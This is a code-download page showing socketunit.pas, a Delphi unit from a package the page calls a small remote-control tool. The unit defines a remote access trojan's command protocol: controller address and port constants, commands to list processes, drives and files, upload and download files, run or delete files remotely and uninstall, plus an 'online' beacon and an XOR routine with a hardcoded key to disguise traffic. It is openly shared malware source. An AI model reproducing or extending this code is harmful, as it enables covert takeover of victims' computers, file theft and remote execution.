⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 socketunit.pas

📁 一个很不错的小远控啊
💻 PAS
字号:
unit SocketUnit;

interface

uses
  Windows;

const
  szKeyBuffer: Array[0..$F] Of Char =(
    #$A3, #$78, #$26, #$35, #$57, #$32, #$2D, #$60, #$B4, #$3C, #$2A, #$5E, #$33, #$34, #$72, #$00
  );

Type
  LPSocketHeader = ^TSocketHeader;
  TSocketHeader = packed Record
    dwSocketLen: DWORD;
    bSocketCmd: Byte;
  end;

const
  CStr_MasterPort     = 2000;
  CStr_MasterAddress1  = '127.0.0.1';
  CStr_MasterAddress2  = 'localhost';
  CStr_MasterAddress3  = '192.168.1.2';

const
  cOsUnknown= 0;
  cOsWin95  = 1;
  cOsWin98  = 2;
  cOsWinME  = 3;
  cOsWinNT3 = 4;
  cOsWinNT4 = 5;
  cOsWin2K  = 6;
  cOsWinXP  = 7;

const
  CDelimiter              = $07;            //  数据分隔符
  CTheEnd                 = $00;            //  结束符

//  Server常用指令
  CSocket_PING            = $97;            //  Ping指令
  CSocket_Uninstall       = $C1;            //  卸载

  CSocket_ListProcess     = $BE;            //  获取进程列表
  CSocket_GetBaseInfo     = $C0;            //  获取基本配置信息

  CSocket_ListDrive       = $82;            //  获取驱动器d列表
  CSocket_ListFile        = $83;            //  刷新目录文件

  CSocket_FileUploadStart = $84;            //  文件上传开始(指令后|DWORD-文件长度|文件路径|)
  CSocket_FileUploading   = $85;            //  文件上传中(每次上传4090字节)
  
  CSocket_FileDownStart   = $86;            //  文件下载开始
  CSocket_FileSendStop    = $87;            //  终止文件传输

  CSocket_FileRun         = $88;            //  文件运行(WinExec-指令后跟随文件路径)
  CSocket_CreateDirectory = $89;            //  创建目录(CreateDirectory-指令后跟随目录路径)
  CSocket_FileDelete      = $8A;            //  文件删除(指令后是需要删除的文件目录)
  CSocket_DeleteDirectory = $8B;            //  删除目录
  
  CSockek_FileOpen        = $8E;            //  文件远程打开(ShellExecute-指令后跟随文件路径-无返回值)
  CSocket_FileRename      = $8F;            //  文件改名



//  Client常用指令
const
  CSocket_Online          = $32;            //  上线指令(发送基本数据指令)
  CSocket_PONG            = $33;            //  回应Ping指令

  CSocket_SendProcess     = $5A;            //  发送进程列表
  CSocket_SendBaseInfo    = $5C;            //  发送Client基本信息
  CSocket_SendListDrive   = $1E;            //  发送驱动器列表
  CSocket_SendDriveError  = $45;            //  发送驱动器获取错误信息
  
  CSocket_SendListFile    = $1F;            //  发送文件和目录列表
  CSocket_SendListFileEnd = $20;            //  文件列表发送完毕

  CSocket_FileRunOk       = $24;            //  文件WinExec成功(指令后跟随运行的文件名)
  CSocket_FileRunFailed   = $3E;            //  文件WinExec失败(指令后跟随运行的文件名)


  CSocket_FileDeleteOk    = $26;            //  文件删除成功(指令后跟随删除的文件名)
  CSocket_FileDeleteFailed= $40;            //  文件删除失败(指令后跟随删除的文件名)

  CSocket_DirectoryCreateOk = $25;          //  目录创建成功(指令后跟随创建的目录名)
  CSocket_DirectoryCreateFailed = $3F;      //  目录创建失败(指令后跟随创建的目录名)

  CSocket_FileRenameOK      = $2B;          //  文件改名成功(指令后跟原始文件名)
  CSocket_FileRenameFailed  = $49;          //  文件改名失败(指令后跟原始文件名)

  CSocket_SendFileDownStart = $21;          //  发送下载文件开始指令(后面跟随的是文件长度)
  CSocket_SendFileDowning   = $22;          //  文件下载ing...(每次读取4091字节)
  CSocket_SendReadFileError = $3C;          //  发送读取文件失败指令

  CSocket_SendUpLoadFailed  = $3D;          //  发送写入文件失败指令
  CSocket_SendUpLoadStart   = $46;          //  发送上传开始指令
  CSocket_SendUpLoadTheEnd  = $23;          //  发送上传结束指令




  

//  封包加密解密函数
procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;

implementation

procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;
asm
  push    esi
  xor     esi, esi
  cmp     [iBuffLen], esi
  jle     @@L017

@@L006:
  mov     eax, dword ptr [lpBuffer]
  xor     edx, edx
  lea     ecx, dword ptr [esi+eax]
  mov     eax, esi
  div     dword ptr [iKeyLen]
  mov     eax, dword ptr [lpKey]
  mov     al, byte ptr [edx+eax]
  xor     byte ptr [ecx], al
  inc     esi
  cmp     esi, dword ptr [iBuffLen]
  jl      @@L006

@@L017:
  pop     esi
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -